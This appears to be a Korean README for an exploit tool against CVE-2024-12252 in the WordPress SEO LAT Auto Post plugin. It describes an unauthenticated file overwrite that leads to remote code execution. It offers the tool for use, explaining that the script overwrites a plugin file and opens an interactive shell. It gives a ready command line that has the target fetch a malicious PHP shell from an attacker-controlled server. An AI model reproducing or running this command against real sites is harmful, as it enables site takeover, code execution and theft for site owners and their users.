SEO LAT Auto Post <= 2.2.1 - 원격 코드 실행

설명

WordPress용 SEO LAT Auto Post 플러그인은 2.2.1 이하 모든 버전의 remote_update AJAX 액션에서 capability 검사가 누락되어 파일 덮어쓰기 취약점에 노출됩니다. 이로 인해 인증되지 않은 공격자가 seo-beginner-auto-post.php 파일을 덮어쓸 수 있으며, 이를 악용하여 원격 코드 실행을 달성할 수 있습니다.

취약점 세부 정보

• CVE: CVE-2024-12252
• CVSS 점수: 9.8 (심각)

익스플로잇

이 스크립트는 SEO LAT Auto Post 플러그인의 취약점을 악용하여 seo-beginner-auto-post.php 파일을 덮어씀으로써 원격 코드 실행을 달성합니다. 이 스크립트는 플러그인 버전 확인, 익스플로잇 트리거, 명령 실행을 위한 인터랙티브 셸 제공 과정을 자동화합니다.

사용법

usage: CVE-2024-12252.py [-h] -u URL --attack-url ATTACK_URL

CVE-2024-12252 | SEO LAT Auto Post <= 2.2.1 - Remote Code Execution # by: By Nxploit | Khaled Alenazi

options:
-h, --help            show this help message and exit
-u, --url URL         Target base URL (e.g., http://example.com/wordpress)
--attack-url ATTACK_URL
                      Direct URL to your malicious PHP shell

대상 URL과 악성 PHP 셸 URL을 지정하여 스크립트를 실행합니다:

python CVE-2024-12252.py -u http://example.com/wordpress --attack-url http://yourserver.com/shell.php

참고 자료

• Wordfence Intelligence
• CVE-2024-12252